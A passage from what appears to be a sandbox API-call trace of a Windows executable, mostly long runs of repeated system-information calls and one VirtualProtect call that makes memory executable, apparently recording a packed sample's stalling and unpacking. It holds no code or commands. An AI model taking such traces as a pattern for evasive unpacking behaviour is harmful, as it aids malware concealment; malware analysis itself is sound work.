lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.928] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.928] GetACP () returned 0x4e4 [0053.928] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.928] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.928] GetACP () returned 0x4e4 [0053.928] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.928] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.928] GetACP () returned 0x4e4 [0053.928] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.928] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.928] GetACP () returned 0x4e4 [0053.928] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.928] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.928] GetACP () returned 0x4e4 [0053.928] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.928] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.928] GetACP () returned 0x4e4 [0053.928] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.928] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.928] GetACP () returned 0x4e4 [0053.928] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.928] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.929] GetACP () returned 0x4e4 [0053.929] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.929] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.929] GetACP () returned 0x4e4 [0053.929] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.929] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.929] GetACP () returned 0x4e4 [0053.929] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.929] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.929] GetACP () returned 0x4e4 [0053.929] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.929] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.929] GetACP () returned 0x4e4 [0053.929] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.929] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.929] GetACP () returned 0x4e4 [0053.929] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.929] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.929] GetACP () returned 0x4e4 [0053.929] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.929] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.929] GetACP () returned 0x4e4 [0053.929] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.929] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.929] GetACP () returned 0x4e4 [0053.929] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.929] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.930] GetACP () returned 0x4e4 [0053.930] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.930] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.930] GetACP () returned 0x4e4 [0054.380] VirtualProtect (in: lpAddress=0x5a5aa8, dwSize=0xfacb, flNewProtect=0x40, lpflOldProtect=0x43bc04 | out: lpflOldProtect=0x43bc04*=0x4) returned 1 [0054.380] AddAtomA (lpString=0x0) returned 0x0 [0054.380] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.380] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.380] AddAtomA (lpString=0x0) returned 0x0 [0054.380] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.381] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.381] AddAtomA (lpString=0x0) returned 0x0 [0054.381] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.381] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.381] AddAtomA (lpString=0x0) returned 0x0 [0054.381] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.381] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.381] AddAtomA (lpString=0x0) returned 0x0 [0054.381] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.381] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.381] AddAtomA (lpString=0x0) returned 0x0 [0054.381] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.381] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.381] AddAtomA (lpString=0x0) returned 0x0 [0054.381] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.381] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.381] AddAtomA (lpString=0x0) returned 0x0 [0054.381] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.381] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.381] AddAtomA (lpString=0x0) returned 0x0 [0054.381] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.381] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.381] AddAtomA (lpString=0x0) returned 0x0 [0054.381] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.381] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.381] AddAtomA (lpString=0x0) returned 0x0 [0054.381] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.381] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.381] AddAtomA (lpString=0x0) returned 0x0 [0054.381] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.381] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.381] AddAtomA (lpString=0x0) returned 0x0 [0054.381] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.382] AddAtomA (lpString=0x0) returned 0x0 [0054.382] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.382] AddAtomA (lpString=0x0) returned 0x0 [0054.382] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.382] AddAtomA (lpString=0x0) returned 0x0 [0054.382] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.382] AddAtomA (lpString=0x0) returned 0x0 [0054.382] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.382] AddAtomA (lpString=0x0) returned 0x0 [0054.382] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.382] AddAtomA (lpString=0x0) returned 0x0 [0054.382] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.382] AddAtomA (lpString=0x0) returned 0x0 [0054.382] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.382] AddAtomA (lpString=0x0) returned 0x0 [0054.382] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.382] AddAtomA (lpString=0x0) returned 0x0 [0054.382] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.382] AddAtomA (lpString=0x0) returned 0x0 [0054.382] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.382] AddAtomA (lpString=0x0) returned 0x0 [0054.382] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.383] AddAtomA (lpString=0x0) returned 0x0 [0054.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.383] AddAtomA (lpString=0x0) returned 0x0 [0054.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.383] AddAtomA (lpString=0x0) returned 0x0 [0054.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.383] AddAtomA (lpString=0x0) returned 0x0 [0054.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.383] AddAtomA (lpString=0x0) returned 0x0 [0054.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.383] AddAtomA (lpString=0x0) returned 0x0 [0054.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.383] AddAtomA (lpString=0x0) returned 0x0 [0054.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.383] AddAtomA (lpString=0x0) returned 0x0 [0054.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.383] AddAtomA (lpString=0x0) returned 0x0 [0054.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.383] AddAtomA (lpString=0x0) returned 0x0 [0054.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.383] AddAtomA (lpString=0x0) returned 0x0 [0054.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.383] AddAtomA (lpString=0x0) returned 0x0 [0054.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.384] AddAtomA (lpString=0x0) returned 0x0 [0054.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.384] AddAtomA (lpString=0x0) returned 0x0 [0054.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.384] AddAtomA (lpString=0x0) returned 0x0 [0054.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.384] AddAtomA (lpString=0x0) returned 0x0 [0054.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.384] AddAtomA (lpString=0x0) returned 0x0 [0054.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.384] AddAtomA (lpString=0x0) returned 0x0 [0054.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.384] AddAtomA (lpString=0x0) returned 0x0 [0054.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.384] AddAtomA (lpString=0x0) returned 0x0 [0054.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.384] AddAtomA (lpString=0x0) returned 0x0 [0054.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.384] AddAtomA (lpString=0x0) returned 0x0 [0054.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.384] AddAtomA (lpString=0x0) returned 0x0 [0054.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.385] AddAtomA (lpString=0x0) returned 0x0 [0054.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.385] AddAtomA (lpString=0x0) returned 0x0 [0054.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.385] AddAtomA (lpString=0x0) returned 0x0 [0054.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.385] AddAtomA (lpString=0x0) returned 0x0 [0054.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.385] AddAtomA (lpString=0x0) returned 0x0 [0054.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.385] AddAtomA (lpString=0x0) returned 0x0 [0054.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.385] AddAtomA (lpString=0x0) returned 0x0 [0054.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.385] AddAtomA (lpString=0x0) returned 0x0 [0054.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.385] AddAtomA (lpString=0x0) returned 0x0 [0054.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.385] AddAtomA (lpString=0x0) returned 0x0 [0054.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.385] AddAtomA (lpString=0x0) returned 0x0 [0054.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.386] AddAtomA (lpString=0x0) returned 0x0 [0054.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.386] AddAtomA (lpString=0x0) returned 0x0 [0054.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.386] AddAtomA (lpString=0x0) returned 0x0 [0054.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.386] AddAtomA (lpString=0x0) returned 0x0 [0054.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.386] AddAtomA (lpString=0x0) returned 0x0 [0054.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.386] AddAtomA (lpString=0x0) returned 0x0 [0054.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.386] AddAtomA (lpString=0x0) returned 0x0 [0054.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.386] AddAtomA (lpString=0x0) returned 0x0 [0054.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.386] AddAtomA (lpString=0x0) returned 0x0 [0054.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.386] AddAtomA (lpString=0x0) returned 0x0 [0054.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.386] AddAtomA (lpString=0x0) returned 0x0 [0054.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.387] AddAtomA (lpString=0x0) returned 0x0 [0054.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.387] AddAtomA (lpString=0x0) returned 0x0 [0054.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.387] AddAtomA (lpString=0x0) returned 0x0 [0054.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.387] AddAtomA (lpString=0x0) returned 0x0 [0054.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.387] AddAtomA (lpString=0x0) returned 0x0 [0054.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.387] AddAtomA (lpString=0x0) returned 0x0 [0054.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.387] AddAtomA (lpString=0x0) returned 0x0 [0054.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.387] AddAtomA (lpString=0x0) returned 0x0 [0054.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.387] AddAtomA (lpString=0x0) returned 0x0 [0054.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.387] AddAtomA (lpString=0x0) returned 0x0 [0054.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.387] AddAtomA (lpString=0x0) returned 0x0 [0054.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.388] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.388] AddAtomA (lpString=0x0) returned 0x0 [0054.388] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.388] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.388] AddAtomA (lpString=0x0) returned 0x0 [0054.388] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.388] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.388] AddAtomA (lpString=0x0) returned 0x0 [0054.388] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.388] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.388] AddAtomA (lpString=0x0) returned 0x0 [0054.388] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.388] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.388] AddAtomA (lpString=0x0) returned 0x0 [0054.388] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.388] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 